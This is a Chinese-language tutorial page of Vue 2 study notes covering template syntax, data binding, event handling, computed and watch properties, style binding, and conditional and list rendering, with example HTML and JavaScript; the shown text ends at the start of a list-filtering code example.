Skip to content

1.Vue 核心

1.1. Vue 简介

1.1.1. 官网

1.1.2. 介绍与描述

  • 动态构建用户界面的渐进式 JavaScript 框架
  • 作者:尤雨溪

1.1.3. Vue 的特点

  1. 遵循 MVVM 模式
  2. 编码简洁,体积小,运行效率高,适合移动/PC 端开发
  3. 它本身只关注 UI,可以引入其它第三方库开发项目

1.1.4.与其他 JS 框架的关联

  1. 借鉴 Angular 的模板和数据绑定技术
  2. 借鉴 React 的组件化和虚拟 DOM 技术

1.1.5. Vue 周边库

  • vue-cli:vue 脚手架
  • vue-resource
  • axios
  • vue-router:路由
  • vuex:状态管理
  • element-ui:基于 vue 的 UI 组件库(PC 端)

1.2. 初识 Vue

html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>初识vue</title>
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h1>Hello!{{name}}!</h1>
    </div>

    <script>
      Vue.config.productionTip = false; // 阻止vue在启动时生成生产提示
      new Vue({
        el: "#root", //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
        data: {
          //data用于存储数据,数据共el所指定的容器去使用
          name: "JOJO",
        },
      });
    </script>
  </body>
</html>

效果:

img

注意:

  1. 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象
  2. root 容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法
  3. root 容器里的代码被称为 Vue 模板
  4. Vue 实例与容器是一一对应的
  5. 真实开发中只有一个 Vue 实例,并且会配合着组件一起使用
  6. 中的 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性
  7. 一旦 data 中的数据发生变化,那么模板中用到该数据的地方也会自动更新
  8. 模板里面可以直接获取到 vm 的 data 的属性

1.3. 模板语法:插值语法和指令语法

html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>vue模板语法</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h1>插值语法</h1>
      <h3>你好,{{name}}!</h3>
      <hr />
      <h1>指令语法</h1>
      <a v-bind:href="url">快去看新番!</a><br />
      <a :href="url">快去看新番!</a>
    </div>

    <script>
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "JOJO",
          url: "https://www.bilibili.com/",
        },
      });
    </script>
  </body>
</html>

效果:

img

总结:

Vue 模板语法包括两大类:

  1. 插值语法:
js
1. 功能:用于解析标签体内容
2. 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域
{{}}里面可以直接写data里面的属性,也可以写方法名(),也可以写一些js内置的方法,也就是说只要是js的东西,都可以随便写!!!
注:如果{{}}里面是undefined,那么就不会展示在页面上,自动去除!
  1. 指令语法:

功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…) 举例:<a v-bind:href="xxx">或简写为<a :href="xxx">,xxx 同样要写 js 表达式,且可以直接读取到 data 中的所有属性 备注:Vue 中有很多的指令,且形式都是 v-???,此处我们只是拿 v-bind 举个例子

1.4. 数据绑定

html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>数据绑定</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      单向数据绑定:<input type="text" v-bind:value="name" /><br />
      双向数据绑定:<input type="text" v-model:value="name" />
    </div>

    <script>
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "JOJO",
        },
      });
    </script>
  </body>
</html>

效果:

总结:

  • Vue 中有 2 种数据绑定的方式:

    • 单向绑定(v-bind):数据只能从 data 流向页面
    • 双向绑定(v-model):数据不仅能从 data 流向页面,还可以从页面流向 data
  • 备注:

    • 双向绑定一般都应用在表单类元素上(如:<input><select><textarea>等)

    • v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是 value 值

      即 v-module:value="name" 等价于 v-module="name"

      注:但是在<input type="checkbox" v-model=""/>这时的 v-model 默认收集的是 checked 值,即是否勾选!

    • v-model 在 input 上面的原理:

      vue
      <template>
        <div>
          <input v-model="sth" />
          <!--等价于:-->
          <input :value="sth" @input="sth = $event.target.value" />
          <!--  input 元素本身有个 oninput 事件,这是 HTML5 新增加的,类似 onchange ,
          每当输入框内容发生变化时,就会触发oninput,把最新的value传递给 sth。 -->
        </div>
      </template>
      <script>
        export default {
          data() {
            return {
              first: "",
              sth: "",
            };
          },
        };
      </script>
  • 注意:

    • 如果数据是一组一组的,那么必须写在对象里面,以{k:v, k:v}的形式出现
    • 如果 k 和 v 名字一样则可以合并为一个
    • 例子:
html
<!--前面的opacity是css属性名,后面的opacity是data里面的属性-->
<h2 :style="{opacity: opacity}">
  <!--简写为:<h2 :style="{opacity}">-->
</h2>
<script>
  new Vue{
      data:{
          opacity: 1
      }
  }
</script>

1.5. el 与 data 的两种写法

html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>el与data的两种写法</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h1>Hello,{{name}}!</h1>
    </div>

    <script>
      Vue.config.productionTip = false;
      //el的两种写法:
      // const vm = new Vue({

      //     // el:'#root', //第一种写法
      //     data:{

      //         name:'JOJO'
      //     }
      // })
      // vm.$mount('#root')//第二种写法

      //data的两种写法:
      new Vue({
        el: "#root",
        //data的第一种写法:对象式
        // data:{
        //     name:'JOJO'
        // }
        //data的第二种写法:函数式
        data() {
          return {
            name: "JOJO",
          };
        },
      });
    </script>
  </body>
</html>

总结:

el 有 2 种写法:

  1. 创建 Vue 实例对象的时候就配置 el 属性
  2. 先创建 Vue 实例,随后再通过 vm.$mount('#root')指定 el 的值

data 有 2 种写法:

  1. 对象式
  2. 函数式
  • 如何选择:目前哪种写法都可以,以后学到组件时,data 必须使用函数,否则会报错
  • 注:vm 对象的属性默认就是 data 里面的值

由 Vue 管理的一切 methods 里面的函数,一定不要写箭头函数,否则 this 就不再是 Vue 实例 vm 了,而是 js 的 window 对象

1.6. MVVM 模型

img

MVVM 模型:

  • M:模型(Model),data 中的数据
  • V:视图(View),模板代码
  • VM:视图模型(ViewModel),Vue 实例
html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>mvvm</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>名称:{{name}}</h2>
      <h2>战队:{{rank}}</h2>
      <h2>测试:{{$options}}</h2>
      <!--this.$options 可以.获取自定义属性,直接输出就包括很多默认属性-->
    </div>

    <script>
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "uzi",
          rank: "RNG",
        },
      });
    </script>
  </body>
</html>

效果:

img

总结:

  • data 中所有的属性,最后都出现在了 vm 身上
  • vm 身上所有的属性 及 Vue 原型身上所有的属性,在 Vue 模板中都可以直接使用

1.7. Vue 中的数据代理

img

总结:

  1. Vue 中的数据代理通过 vm 对象来代理 data 对象中属性的操作(读/写)
  2. Vue 中数据代理的好处:更加方便的操作 data 中的数据
  3. 基本原理:
  • 通过 js 中的 object.defineProperty()方法把 data 对象中所有属性添加到 vm 上作为 vm 的属性。(vm 就是 new 出来的 Vue 实例对象)

  • 为每一个添加到 vm 上的属性,都指定一个 getter/setter。

  • 在 getter/setter 内部去操作(读/写)data 中对应的属性。

  • 我们定义的 data 到了实际的 vm 对象中就是_data,并且vm._data.属性和vm.属性是完全·等价的

1.8. 事件处理

1.8.1. 事件的基本用法

html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>事件的基本用法</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>hello,{{name}}</h2>
      <button v-on:click="showInfo1">点我提示信息1</button>
      <button @click="showInfo2($event,66)">点我提示信息2</button>
    </div>

    <script>
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "JOJO",
        },
        methods: {
          showInfo1(event) {
            console.log(event);
          },
          showInfo2(evnet, num) {
            console.log(event, num);
          },
        },
      });
    </script>
  </body>
</html>

效果:

img

总结:

  1. 使用 v-on:xxx 或@xxx 绑定事件,其中 xxx 是事件名

  2. 事件的回调需要配置在 methods 对象中,最终会在 vm 上

  3. methods 中配置的函数,==不要用箭头函数!==否则 this 就不是 vm 了

  4. methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或组件实例对象

  5. @click="demo"和@click="demo($event)"效果一致,但后者可以传参

  6. @click="表达式",这样也是可以的,因为模板里面可以直接取到 vm 的属性!!!

    例:@click="isTrue = !isTrue"

    注:但是不能直接写 js 中的函数,因为模板里面只能去 vue 对象查找属性和方法!

    如果在 vm 的 data 里面加上 js 对象,再 js 对象.方法是可以的!

1.8.2. 事件修饰符

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>事件修饰符</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
      * {
        margin-top: 20px;
      }
      .demo1 {
        height: 50px;
        background-color: skyblue;
      }
      .box1 {
        padding: 5px;
        background-color: skyblue;
      }
      .box2 {
        padding: 5px;
        background-color: orange;
      }
      .list {
        width: 200px;
        height: 200px;
        background-color: peru;
        overflow: auto;
      }
      li {
        height: 100px;
      }
    </style>
  </head>
  <body>
    <div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <!-- 阻止默认事件 -->
      <a href="http://www.atguigu.com" @click.prevent="showInfo"
        >点我提示信息</a
      >

      <!-- 阻止事件冒泡 -->
      <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
      </div>

      <!-- 事件只触发一次 -->
      <button @click.once="showInfo">点我提示信息</button>

      <!-- 使用事件的捕获模式 -->
      <div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">div2</div>
      </div>

      <!-- 只有event.target是当前操作的元素时才触发事件 -->
      <div class="demo1" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
      </div>

      <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
      <ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
      },
      methods: {
        showInfo(e) {
          alert("同学你好!");
        },
        showMsg(msg) {
          console.log(msg);
        },
        demo() {
          for (let i = 0; i < 100000; i++) {
            console.log("#");
          }
          console.log("累坏了");
        },
      },
    });
  </script>
</html>

效果:

img

总结:

Vue 中的事件修饰符:

  1. prevent:阻止默认事件(常用),即取消标签本来的效果(如 a 标签的链接跳转)
  2. stop:阻止事件冒泡,且是阻止里面向外冒泡(常用),即内层的标签的事件不会触发外层的事件、不会形成联动
  3. once:事件只触发一次(常用)
  4. capture:使用事件的捕获模式,即在捕获阶段就处理事件(js 中事件分为捕获阶段和冒泡阶段,捕获阶段是从外往内的,这时候是捕捉事件,冒泡阶段是从内往外的,这时候是触发事件的行为,即处理事件)
  5. self:只有 event.target 是当前操作的元素时才触发事件(event.target 就是发生事件的 dom 元素),类似于冒泡限制(但是如果 dom 元素一样就阻止不了)
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕

修饰符可以连续写,比如可以这么用:@click.prevent.stop="showInfo"

1.8.3. 键盘事件

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>键盘事件</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <input
        type="text"
        placeholder="按下回车提示输入"
        @keydown.enter="showInfo" />
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
      },
      methods: {
        showInfo(e) {
          console.log(e.target.value);
        },
      },
    });
  </script>
</html>

效果:

img

总结:

键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而 Vue 还对一些常用按键起了别名方便使用

Vue 中常用的按键别名:

  • 回车:enter
  • 删除:delete (捕获“删除”和“退格”键)
  • 退出:esc
  • 空格:space
  • 换行:tab (特殊,必须配合 keydown 去使用)
  • 上:up
  • 下:down
  • 左:left
  • 右:right

注意:

1.系统修饰键(用法特殊):ctrl、alt、shift、meta

  • 配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发

  • 配合 keydown 使用:正常触发事件

    2.可以使用 keyCode 去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用

    3.Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名

1.9. 计算属性

html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>计算属性</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      姓:<input type="text" v-model="firstName" /><br /><br />
      名:<input type="text" v-model="lastName" /><br /><br />
      姓名:<span>{{fullName}}</span>
    </div>

    <script>
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          firstName: "张",
          lastName: "三",
        },
        //用methods的方式:
        //methods:{

        //fullName(){
        //return this.firstName + '-' +this.lastName
        //}
        //},
        computed: {
          fullName: {
            //作为一个属性(对象),但是里面是函数

            get() {
              //当有人读取fullName时,get就会被执行,其返回值就作为fullName的值

              return this.firstName + "-" + this.lastName; //前面必须要加this(this先指向fullName再指向vm)
            },
            //控制台写:vm.fullName = '李-四'
            set(value) {
              //可以没有,当fullName需要被修改时用到

              const arr = value.split("-");
              this.firstName = arr[0]; //修改data的值
              this.lastName = arr[1]; //修改data的值
              //从而成功修改了data和fullName!但是并不是真正修改了
            },
          },
        },
      });
    </script>
  </body>
</html>

可以形成一个联动的效果:由于 v-module 和计算属性的同时应用!

效果:

img

总结:

计算属性:

  • 定义:要用的属性不存在,需要通过已有==属性(即 data 中的数据)==计算得来。
  • 原理:底层借助了 Objcet.defineproperty()方法提供的 getter 和 setter。
js
let number = 18;
let person = {
  name: "张三",
  sex: "男",
};

//此时age是不可以枚举的
//借助Object.defineProperty方法往person对象里添加属性!
//关联
Object.defineProperty(person, "age", {
  // value: 18,
  // enumerable: true, //此时代表这个属性是可以枚举的
  // writable: true, //代表可以重写该属性(控制属性是否被修改)
  // configurable:true, //控制属性是否可以被删除 默认为false

  //当读取person的age属性时get属性就会被调用,且返回值就是age的值
  //invoke property proxy映射数据代理
  get: function () {
    //测试它的调用情况
    console.log("@@@ GET AGE");
    //此时age的值依赖number的值
    return number;
  },
  //当修改person的age属性时set(setter)属性就会被调用,且会收到修改的具体值
  set(v) {
    //测试
    console.log("CHANGE AGE");
    number = v;
  },
});
  • get 函数什么时候执行?

    • 页面中初次读取计算属性时会执行一次
    • 当计算属性所依赖的数据发生改变时会被再次调用
    • 最终 vm 对象中放的是,==计算属性:get 函数的返回值==
  • 优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便(就一个缓存的区别,其他都一模一样)

    关于缓存的理解:当属性(计算属性)被计算出来一次之后,后面再用到这个属性的时候,不需要再次计算,直接到缓存里面取即可

  • 备注:

    • 计算属性最终会出现在 vm 上,直接读取使用即可
    • 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据(即 data 中的数据)发生改变
    • 如果计算属性确定不考虑修改,可以使用计算属性的简写形式

即:

js
new Vue({
  el: "#root",
  data: {
    firstName: "张",
    lastName: "三",
  },
  computed: {
    fullName() {
      return this.firstName + "-" + this.lastName;
    },
  },
});

1.10. 监视属性

1.10.1. 监视属性基本用法

html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>监视属性</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>今天天气好{{info}}!</h2>
      <button @click="changeWeather">点击切换天气</button>
    </div>

    <script>
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          isHot: true,
        },
        computed: {
          info() {
            return this.isHot ? "炎热" : "凉爽"; //必须加this
          },
        },
        methods: {
          changeWeather() {
            this.isHot = !this.isHot;
          },
        },
        watch: {
          isHot: {
            //isHot就是data里面的那个属性,初始值作为oldValue

            //immediate:true, //初始化时,就让handler自执行一下,且此时初始值作为newValue,没有oldValue(immediate默认为false)
            //handler什么时候调用?当isHot发生改变时
            handler(newValue, oldValue) {
              console.log("isHot被修改了", newValue, oldValue);
            },
          },
        },
      });
    </script>
  </body>
</html>

效果:

img

总结:

监视属性 watch:

  1. 当被监视的属性变化时,回调函数自动调用,进行相关操作
  2. 监视的属性必须存在,才能进行监视(计算属性也可以进行监视,和 data 的一样
  3. 监视有两种写法:
  • 创建 Vue 时传入 watch 配置

  • 通过 vm.$watch 监视

js
vm.$watch("isHot", {
  immediate: true,
  handler(newValue, oldValue) {
    console.log("isHot被修改了", newValue, oldValue);
  },
});
  1. 应用场景:可以实时改变,比如计算温度差,达到什么标准,就做什么操作!比如提示穿秋裤!

1.10.2. 深度监视

html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>深度监视</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h3>a的值是:{{numbers.a}}</h3>
      <button @click="numbers.a++">点我让a+1</button>
      <h3>b的值是:{{numbers.b}}</h3>
      <button @click="numbers.b++">点我让b+1</button>
    </div>

    <script>
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          isHot: true,
          numbers: {
            a: 1,
            b: 1,
          },
        },
        watch: {
          //深度监视1:监视多级结构(对象)中所有属性的变化
          numbers: {
            deep: true,
            handler() {
              console.log("numbers改变了");
            },
          },
          //深度监视2:监视多级结构中某个属性的变化
          /* 'numbers.a':{
					handler(){
						console.log('a被改变了')
					}
				} */
        },
      });
    </script>
  </body>
</html>

效果:

img

总结:

  • 深度监视:

    • Vue 中的 watch 默认不监测对象内部值的改变(一层)
    • 在 watch 中配置 deep:true 可以监测对象内部值的改变(多层)
  • 备注:

    • Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以
    • 使用 watch 时根据监视数据的具体结构,决定是否采用深度监视

1.10.3. 监视属性简写

如果监视属性除了 handler 没有其他配置项的话,可以进行简写。

html
<script type="text/javascript">
  Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

  const vm = new Vue({
    el: "#root",
    data: {
      isHot: true,
    },
    computed: {
      info() {
        return this.isHot ? "炎热" : "凉爽";
      },
    },
    methods: {
      changeWeather() {
        this.isHot = !this.isHot;
      },
    },
    watch: {
      //正常写法
      isHot: {
        handler(newValue, oldValue) {
          console.log("isHot被修改了", newValue, oldValue);
        },
      },
      //简写
      isHot(newValue, oldValue) {
        console.log("isHot被修改了", newValue, oldValue, this);
      },
    },
  });

  //正常写法
  vm.$watch("isHot", {
    handler(newValue, oldValue) {
      console.log("isHot被修改了", newValue, oldValue);
    },
  });
  //简写
  vm.$watch("isHot", function (newValue, oldValue) {
    console.log("isHot被修改了", newValue, oldValue, this);
  });
</script>

1.10.4. 监听属性 VS 计算属性

img

使用计算属性:

js
new Vue({
  el: "#root",
  data: {
    firstName: "张",
    lastName: "三",
  },
  computed: {
    fullName() {
      return this.firstName + "-" + this.lastName;
    },
  },
});

使用监听属性:

js
new Vue({
  el: "#root",
  data: {
    firstName: "张",
    lastName: "三",
    fullName: "张-三",
  },
  watch: {
    firstName(val) {
      setTimeout(() => {
        //延时执行
        this.fullName = val + "-" + this.lastName;
      }, 1000);
    },
    lastName(val) {
      this.fullName = this.firstName + "-" + val;
    },
  },
});

总结:

  • computed 和 watch 之间的区别:

    • computed 能完成的功能,watch 都可以完成
    • watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作
  • 两个重要的小原则:

    • 所有被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象
    • 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,这样 this 的指向才能区分出来是 vm 或 组件实例对象。

1.11. 绑定样式

html
<style>
  .basic {
    width: 400px;
    height: 100px;
    border: 1px solid black;
  }
  .happy {
    border: 4px solid red;
    background-color: rgba(255, 255, 0, 0.644);
    background: linear-gradient(30deg, yellow, pink, orange, yellow);
  }
  .sad {
    border: 4px dashed rgb(2, 197, 2);
    background-color: gray;
  }
  .normal {
    background-color: skyblue;
  }

  .atguigu1 {
    background-color: yellowgreen;
  }
  .atguigu2 {
    font-size: 30px;
    text-shadow: 2px 2px 10px red;
  }
  .atguigu3 {
    border-radius: 20px;
  }
</style>
html
<div id="root">
  <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定,这个是最牛的,可以实现切换样式且随机 -->
  <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
  <br /><br />

  <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
  <div class="basic" :class="classArr">{{name}}</div>
  <br /><br />

  <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
  <div class="basic" :class="classObj">{{name}}</div>
  <br /><br />

  <!-- 绑定style样式--对象写法 -->
  <div class="basic" :style="styleObj">{{name}}</div>
  <br /><br />

  <!-- 绑定style样式--数组写法 -->
  <div class="basic" :style="styleArr">{{name}}</div>
</div>
html
<script type="text/javascript">
  Vue.config.productionTip = false;

  const vm = new Vue({
    el: "#root",
    data: {
      name: "尚硅谷",
      mood: "normal",
      classArr: ["atguigu1", "atguigu2", "atguigu3"],
      classObj: {
        atguigu1: false,
        atguigu2: false,
      },
      styleObj: {
        //style样式可以在data中进行定义

        fontSize: "40px",
        color: "red",
      },
      styleObj2: {
        backgroundColor: "orange",
      },
      styleArr: [
        {
          fontSize: "40px",
          color: "blue",
        },
        {
          backgroundColor: "gray",
        },
      ],
    },
    methods: {
      changeMood() {
        const arr = ["happy", "sad", "normal"];
        const index = Math.floor(Math.random() * 3);
        this.mood = arr[index];
      },
    },
  });
</script>

效果:

img

总结:

  1. class 样式:
  • 写法:class="xxx",xxx 可以是字符串、对象、数组

  • 字符串写法适用于:类名不确定,要动态获取

  • 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定

  • 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用

    2.style 样式:

  • :style="{fontSize: xxx}"其中 xxx 是动态值

  • :style="[a,b]"其中 a、b 是样式对象

1.12. 条件渲染

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>条件渲染</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>

      <h2 v-show="true">Hello,{{name}}!</h2>

      <div v-if="n === 1">Angular</div>
      <div v-else-if="n === 2">React</div>
      <div v-else>Vue</div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    const vm = new Vue({
      el: "#root",
      data: {
        name: "jojo",
        n: 0,
      },
    });
  </script>
</html>

效果:

img

总结:

  1. v-if:
  • 写法:

    • v-if="表达式"
    • v-else-if="表达式"
    • v-else
  • 适用于:切换频率较低的场景

  • 特点:不展示的 DOM 元素直接被移除

  • 注意:v-if 可以和 v-else-if、v-else 一起使用,但要求结构不能被打断(这几个必须连在一起,如果中间插入了别的 dom 元素会失效)

  1. v-show:(v-show 其实和 v-if 的意思是一样的,都是判断条件是否成立)
  • 写法:v-show="表达式"

  • 适用于:切换频率较高的场景

  • 特点:不展示的 DOM 元素未被移除,仅仅是使用样式将 dom 隐藏掉

使用v-if时,元素可能无法获取到(因为 v-if 会移除 dom,然后就找不到了),而使用v-show一定可以获取到

3.v-if 与 template 的配合使用,template 标签最大的特点就是不影响原来 dom 元素的结构,因为在加载时会消除 template(影响不到样式等,比如用了层级选择器)

vue
<!--v-if与template的配合使用-->
<template v-if="n === 1">
  <h2>你好</h2>
  <h2>shanghai</h2>
  <h2>shenzhen</h2>
</template>

1.13. 列表渲染

1.13.1. 基本列表

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>基本列表</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>人员列表(遍历数组)</h2>
      <ul>
        <li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}</li>
      </ul>

      <h2>汽车信息(遍历对象)</h2>
      <ul>
        <li v-for="(value,k) in car" :key="k">{{k}}-{{value}}</li>
      </ul>

      <h2>遍历字符串</h2>
      <ul>
        <li v-for="(char,index) in str" :key="index">{{char}}-{{index}}</li>
      </ul>

      <h2>遍历指定次数</h2>
      <!--即从1开始遍历到5,就是number的值-->
      <ul>
        <li v-for="(number,index) in 5" :key="index">{{index}}-{{number}}</li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          persons: [
            { id: "001", name: "张三", age: 18 },
            { id: "002", name: "李四", age: 19 },
            { id: "003", name: "王五", age: 20 },
          ],
          car: {
            name: "奥迪A8",
            price: "70万",
            color: "黑色",
          },
          str: "hello",
        },
      });
    </script>
  </body>
</html>

效果:

img

总结:

v-for 指令:

  1. 用于展示列表数据

  2. 语法:<li v-for="(item, index) in xxx" :key="yyy">,其中 key 可以是 index,也可以是遍历对象的某个唯一标识(比如 item.id)

    注:数组和字符串本身就有 index 索引,所以可以用 index 作为索引

    但是对象没有 index,不能用 index 作为索引了,但是可以用 key 作为索引(即属性名)!

  3. 可遍历:数组、对象、字符串(用的少)、指定次数(用的少)

1.13.2. key 的作用与原理

html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h2>人员列表</h2>
			<button @click.once="add">添加老刘</button>
			<ul>
				<li v-for="(p,index) in persons" :key="index">
					{{p.name}} - {{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false

			new Vue({

				el:'#root',
				data:{

					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				},
				methods: {

					add(){

						const p = {id:'004',name:'老刘',age:40}
						this.persons.unshift(p) //unshift是在数组的最前面插入
					}
				},
			})
		</script>
</html>

**效果:**发生了错误

img

**解决方法:**用 p.id 当作 key,不用 index,因为这个才是数据的唯一标识

原理:

img

img

面试题:react、vue 中的 key 有什么作用?(key 的内部原理)

虚拟 DOM 中(vue 中)key 的作用:

key 是虚拟 DOM 中对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】,随后 Vue

进行【新虚拟 DOM】与【旧虚拟 DOM】的差异比较,比较规则如下:

  1. ==对比规则:根据 key 进行对比==——>这也是产生问题的根本原因
  • 旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key:

    • 若虚拟 DOM 中内容没变, 直接使用之前的真实 DOM
    • 若虚拟 DOM 中内容变了, 则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM
  • 旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key:创建新的真实 DOM,随后渲染到到页面

  1. 用 index 作为 key 可能会引发的问题:
  • 若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实 DOM 更新 ==> 界面效果没问题, 但效率低

  • 若结构中还包含输入类的 DOM:会产生错误 DOM 更新 ==> 界面有问题

  1. 开发中如何选择 key?
  • 最好使用每条数据的唯一标识作为 key,比如 id、手机号、身份证号、学号等唯一值

  • 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用 index 作为 key 是没有问题的

1.13.3. 列表过滤(模糊搜索)

这个功能可以完全不需要后端就可以完成!!!

1.使用监听属性:

js
//用监视属性书写功能
new Vue({
  el: "#root",
  data: {
    keyword: "",
    persons: [
      { id: "001", name: "周冬雨", age: 20, sex: "女" },
      { id: "002", name: "马冬梅", age: 19, sex: "女" },
      { id: "003", name: "周杰伦", age: 21, sex: "男" },
      { id: "004", name: "温兆伦", age: 22, sex: "男" },
    ],
    filPersons: [],
  },
  //watch监听用户输入项keyword的变化
  watch: {
    keyword: {
      immediate: true, //上来就进行监视获得到的newValue是''
      //所有字符串里面都包含''(由于indexOf方法)
      handler(newV) {
        // console.log(newV)
        //不要修改元数据,这样只会越写越少
        //注意一个某个字符串.indexOf('')是0而不是-1(都包含空字符串)
        this.filPersons = this.persons.filter(
          (p) => p.name.indexOf(newV) !== -1
        );
      },
    },
  },
});

2.使用计算属性:

html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
